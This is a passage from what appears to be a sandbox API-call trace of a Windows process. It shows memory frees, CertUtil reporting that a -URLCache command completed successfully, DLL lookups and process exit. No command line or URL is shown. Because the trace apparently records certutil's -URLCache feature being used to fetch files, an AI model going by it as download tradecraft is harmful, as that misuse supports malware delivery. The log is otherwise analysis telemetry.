(hMem=0x26bf5010550) returned 0x0 [0132.908] LocalFree (hMem=0x26bf5000540) returned 0x0 [0132.908] LocalFree (hMem=0x26bf4ff0530) returned 0x0 [0132.908] LocalFree (hMem=0x26bf4fe0520) returned 0x0 [0132.908] LocalFree (hMem=0x26bf4fd0510) returned 0x0 [0132.908] LocalFree (hMem=0x26bf4fc0500) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4fb04f0) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4fa04e0) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4f904d0) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4f804c0) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4f704b0) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4f604a0) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4f50490) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4f40480) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4f30470) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4f20460) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4f10450) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4f00440) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4ef0430) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4ee0420) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4ed0410) returned 0x0 [0132.920] LocalFree (hMem=0x26bf4ec0400) returned 0x0 [0132.981] LocalFree (hMem=0x26bf4eb03f0) returned 0x0 [0132.981] LocalFree (hMem=0x26bf4ea03e0) returned 0x0 [0132.981] LocalFree (hMem=0x26bf4e903d0) returned 0x0 [0132.981] LocalFree (hMem=0x26bf4e803c0) returned 0x0 [0132.981] LocalFree (hMem=0x26bf4e703b0) returned 0x0 [0132.981] LocalFree (hMem=0x26bf4e603a0) returned 0x0 [0132.981] LocalFree (hMem=0x26bf4e50390) returned 0x0 [0132.981] LocalFree (hMem=0x26bf4e40380) returned 0x0 [0132.981] LocalFree (hMem=0x26bf4e30370) returned 0x0 [0132.982] LocalFree (hMem=0x26bf4e20360) returned 0x0 [0132.983] LocalFree (hMem=0x26bf4e10350) returned 0x0 [0132.983] LocalFree (hMem=0x26bf4e00340) returned 0x0 [0132.983] LocalFree (hMem=0x26bf4df0330) returned 0x0 [0132.983] LocalFree (hMem=0x26bf4de0320) returned 0x0 [0132.983] LocalFree (hMem=0x26bf4dd0310) returned 0x0 [0132.983] LocalFree (hMem=0x26bf4dc0300) returned 0x0 [0132.999] LocalFree (hMem=0x26bf4db02f0) returned 0x0 [0132.999] LocalFree (hMem=0x26bf4da02e0) returned 0x0 [0132.999] LocalFree (hMem=0x26bf4d902d0) returned 0x0 [0132.999] LocalFree (hMem=0x26bf4d802c0) returned 0x0 [0132.999] LocalFree (hMem=0x26bf4d702b0) returned 0x0 [0132.999] LocalFree (hMem=0x26bf4d602a0) returned 0x0 [0132.999] LocalFree (hMem=0x26bf4d50290) returned 0x0 [0132.999] LocalFree (hMem=0x26bf4d40280) returned 0x0 [0132.999] LocalFree (hMem=0x26bf4d30270) returned 0x0 [0132.999] LocalFree (hMem=0x26bf4d20260) returned 0x0 [0132.999] LocalFree (hMem=0x26bf4d10250) returned 0x0 [0132.999] LocalFree (hMem=0x26bf4d00240) returned 0x0 [0132.999] LocalFree (hMem=0x26bf4cf0230) returned 0x0 [0132.999] LocalFree (hMem=0x26bf4ce0220) returned 0x0 [0132.999] LocalFree (hMem=0x26bf4cd0210) returned 0x0 [0135.889] FreeLibrary (hLibModule=0x7fff54060000) returned 1 [0135.889] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0x7ff6430b4120 [0135.889] _vsnwprintf (in: _Buffer=0x73563cf4b8, _BufferCount=0xb, _Format="%d", _ArgList=0x73563cf4a8 | out: _Buffer="2022") returned 4 [0135.889] LoadStringW (in: hInstance=0x7ff6430a0000, uID=0x7e6, lpBuffer=0x73563cf270, cchBufferMax=128 | out: lpBuffer="%ws: -%ws command completed successfully.") returned 0x29 [0135.889] LocalAlloc (uFlags=0x0, uBytes=0x54) returned 0x26bedf7fd10 [0135.889] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0135.889] _vsnwprintf (in: _Buffer=0x73563ce4a0, _BufferCount=0x1ff, _Format="%ws: -%ws command completed successfully.", _ArgList=0x73563cf4f8 | out: _Buffer="CertUtil: -URLCache command completed successfully.") returned 51 [0135.889] GetFileType (hFile=0x50) returned 0x2 [0135.889] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x73563ce4a0*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x73563ce454, lpReserved=0x0 | out: lpBuffer=0x73563ce4a0*, lpNumberOfCharsWritten=0x73563ce454*=0x33) returned 1 [0135.979] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0135.979] _vsnwprintf (in: _Buffer=0x73563ce4a0, _BufferCount=0x1ff, _Format="\n", _ArgList=0x73563cf4f8 | out: _Buffer="\n") returned 1 [0135.980] GetFileType (hFile=0x50) returned 0x2 [0135.980] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x73563ce4a0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x73563ce454, lpReserved=0x0 | out: lpBuffer=0x73563ce4a0*, lpNumberOfCharsWritten=0x73563ce454*=0x1) returned 1 [0136.095] LocalFree (hMem=0x0) returned 0x0 [0136.095] LocalFree (hMem=0x26bedee55d0) returned 0x0 [0136.095] LocalFree (hMem=0x26bedec40e0) returned 0x0 [0136.096] SetLastError (dwErrCode=0x80070716) [0136.096] _vsnwprintf (in: _Buffer=0x73563cf528, _BufferCount=0xb, _Format="%d", _ArgList=0x73563cf518 | out: _Buffer="511") returned 3 [0136.096] LoadStringW (in: hInstance=0x7ff6430a0000, uID=0x1ff, lpBuffer=0x73563cf2e0, cchBufferMax=128 | out: lpBuffer="Command Succeeded") returned 0x11 [0136.096] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x26bedf30dc0 [0136.096] PostQuitMessage (nExitCode=0) [0136.096] GetMessageW (in: lpMsg=0x73563cfb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x73563cfb20) returned 0 [0136.096] LocalFree (hMem=0x26bededd640) returned 0x0 [0136.096] LocalFree (hMem=0x26bedef1120) returned 0x0 [0136.096] LocalFree (hMem=0x0) returned 0x0 [0136.096] GetModuleHandleW (lpModuleName="certadm.dll") returned 0x0 [0136.097] GetLastError () returned 0x7e [0136.097] GetModuleHandleW (lpModuleName="certcli.dll") returned 0x7fff4f770000 [0136.097] GetProcAddress (hModule=0x7fff4f770000, lpProcName="DllMain") returned 0x7fff4f771530 [0136.097] DllMain () returned 0x1 [0136.097] LocalFree (hMem=0x26bededd9e0) returned 0x0 [0136.097] LocalFree (hMem=0x26beded2920) returned 0x0 [0136.097] LocalFree (hMem=0x26bedf28e30) returned 0x0 [0136.097] LocalFree (hMem=0x26bedf7fd10) returned 0x0 [0136.097] LocalFree (hMem=0x26bedf30dc0) returned 0x0 [0136.097] LocalFree (hMem=0x26beded34a0) returned 0x0 [0136.097] LocalFree (hMem=0x26beded28f0) returned 0x0 [0136.097] GetModuleHandleW (lpModuleName="certenroll.dll") returned 0x0 [0136.097] GetLastError () returned 0x7e [0136.098] GetModuleHandleW (lpModuleName="certcli.dll") returned 0x7fff4f770000 [0136.098] GetProcAddress (hModule=0x7fff4f770000, lpProcName="DllMain") returned 0x7fff4f771530 [0136.098] DllMain () returned 0x1 [0136.098] exit (_Code=0) Thread: id = 34 os_tid = 0x1380 Thread: id = 35 os_tid = 0x1308 Thread: id = 36 os_tid = 0x1394 Thread: id = 37 os_tid = 0x13a8 Thread: id = 38 os_tid = 0x13b0